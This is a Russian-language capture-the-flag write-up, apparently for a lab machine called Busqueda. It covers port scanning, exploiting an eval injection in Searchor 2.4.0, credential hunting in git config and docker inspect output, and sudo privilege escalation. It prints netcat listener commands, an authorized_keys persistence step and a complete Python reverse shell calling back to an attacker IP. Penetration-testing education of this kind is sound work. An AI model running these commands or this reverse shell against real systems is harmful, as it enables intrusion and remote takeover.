Обзор сервисов
Машина имеет IP адрес 10.10.11.208.
Запустим nmap и посмотрим, какие сервисы присутствуют на машине:
$ nmap -sT -v 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:36 MSK
Initiating Ping Scan at 21:36
Scanning 10.10.11.208 [2 ports]
Completed Ping Scan at 21:36, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:36
Completed Parallel DNS resolution of 1 host. at 21:36, 5.06s elapsed
Initiating Connect Scan at 21:36
Scanning 10.10.11.208 [1000 ports]
Discovered open port 80/tcp on 10.10.11.208
Discovered open port 22/tcp on 10.10.11.208
Completed Connect Scan at 21:36, 2.17s elapsed (1000 total ports)
Nmap scan report for 10.10.11.208
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds
На машине открыты стандартные порты для HTTP и SSH.
Попробуем перейти на вебку по адресу http://10.10.11.208 и получаем редирект на http://searcher.htb:
Нам необходимо прописать этот домен в /etc/hosts, сделаем это с помощью nano:
$ sudo nano /etc/hosts
# в конец файла добавим
10.10.11.208 searcher.htb
После чего попытаемся вновь перейти на http://searcher.htb и, наконец, попадаем на вебку:
Публичный эксплоит
Опустимся в самый низ вебки и увидим там надпись Searchor 2.4.0. Быстрый запрос в гугле показывает, что для такой версии существует публичный эксплоит https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.
Версия Searchor 2.4.0 подвержена RCE уязвимости из-за следующего куска кода:
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser…")
…
В этом куске кода пользователь может манипулировать параметром query
, который попадает на исполнение в функцию eval
, вследствие чего возможно удаленное исполнение произвольных команд, например, с помощью следующей конструкции: __import__('os').system('CMD')
.
Склонируем репозиторий к себе:
git clone <https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection>
cd Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
Запустим ожидание удаленного подключения:
nc -lnvp 9001
Запустим эксплоит (10.10.14.162
- наш IP-адрес, 9001
- порт подключения):
bash exploit.sh searcher.htb 10.10.14.162 9001
Удостоверимся, что эксплоит сработал:
Для удобства пропишем свой SSH ключ и подключимся напрямую, так как порт 22 открыт, и нам ничего не мешает это сделать:
svc@busqueda:/var/www/app$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGwM4lpidB2ssq6t4DA0TeLLmvp7/5Ws3ujK+87ScX9y 1" >> ~/.ssh/authorized_keys
$ ssh [email protected]
Пользовательский флаг
Уже на этом этапе можем забрать пользовательский флаг:
svc@busqueda:~$ cat user.txt
54458765b1491c57bc2ceca67d700e9b
Gitea
В пользовательской директории выполним ls -la и обнаружим файл .gitconfig, после чего выведем его на экран:
svc@busqueda:~$ ls -la
total 60
drwxr-x-—7 svc svc 4096 Jun 14 19:04 .
drwxr-xr-x 3 root root 4096 Dec 22 18:56 ..
lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r—1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r—1 svc svc 3771 Jan 6 2022 .bashrc
drwx----—2 svc svc 4096 Feb 28 11:37 .cache
-rw-rw-r—1 svc svc 109 Jun 14 19:04 .gitconfig
drwx----—3 svc svc 4096 Jun 14 17:52 .gnupg
-rw-----—1 svc svc 20 Jun 14 19:04 .lesshst
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null
-rw-r--r—1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null
drwx----—2 svc svc 4096 Jun 14 15:43 .ssh
-rw-----—1 svc svc 963 Jun 14 17:40 .viminfo
-rw-r--r—1 svc svc 0 Jun 14 17:54 file
-rw-r--r—1 svc svc 55 Jun 14 19:04 full-checkup.sh
drwx----—3 svc svc 4096 Jun 14 15:29 snap
-rw-r---—1 root svc 33 Jun 14 14:32 user.txt
svc@busqueda:~$ cat .gitconfig
[user]
email = [email protected]
name = cody
[core]
hooksPath = no-hooks
[safe]
directory = /var/www/app
Отсюда мы узнали, что существует пользователь гита с именем cody
.
Выполним команду ls -la
в директории /var/www/app
, в которой мы были изначально, и обнаружим там директорию .git
, что означает, что перед нами Git-репозиторий:
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 14 14:32 .git
-rw-r--r—1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ git log
fatal: detected dubious ownership in repository at '/var/www/app'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git log
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 (HEAD -> main, origin/main)
Author: administrator <[email protected]>
Date: Sun Dec 25 12:14:21 2022 +0000
Initial commit
Из этого листинга мы узнали, что существует Git-сервер по адресу http://gitea.searcher.htb, который мы можем добавить так же в наш файл /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.208 searcher.htb gitea.searcher.htb
Логин и пароль от пользователя Cody
Попытаемся поискать по имени cody в директории /var/www/app:
svc@busqueda:/var/www/app$ grep cody . -R
./.git/config: url = http://cody:[email protected]/cody/Searcher_site.git
Это даёт нам учетную запись и пароль от учетки в гите: cody:jh1usoih2bkjaspwe92
.
Воспользуемся ими:
К сожалению, нам доступен только тот же репозиторий, который мы уже видим на машине.
Sudo
Попытаемся воспользоваться командой sudo
и паролем jh1usoih2bkjaspwe92
:
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Это означает, что наш пользователь может запускать команду /usr/bin/python3 /opt/scripts/system-checkup.py *
от имени супер пользователя.
Воспользуемся этим и обнаружим, что это стандартные Docker-команды:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py 1
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Документация по docker inspect говорит о том, что можно получить конфигурацию машины с помощью команды docker inspect --format='{{.Config.Image}}' $INSTANCE_ID
:
Отсюда мы нашли пароль yuiu1hoiu4i5ho1uh
, который мы попробуем применить для пользователя administrator
в вебке от Gitea:
Здесь располагается репозиторий со скриптами, запуск которых нам доступен.
Скрипт system-checkup.py
Посмотрим код скрипта system-checkup.py
и обнаружим, что это скрипт исполняет буквально команду ./full-checkup.sh
:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
Это означает, что мы можем создать в любой директории, доступной для записи, файл full-checkup.sh
с реверс-шеллом. Например:
$ cd && nano full-checkup.sh
#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.162",4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
$ chmod +x full-checkup.sh
Запустим ожидание подключения и скрипт:
$ nc -lnvp 4242
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
После чего ловим подключение:
Флаг суперпользователя
Теперь можем забирать последний флаг и завершать решение:
$ cd /root
$ ls
ecosystem.config.js root.txt scripts snap
$ cat root.txt
7d84f0dc64d5f777b86fa472f71b7935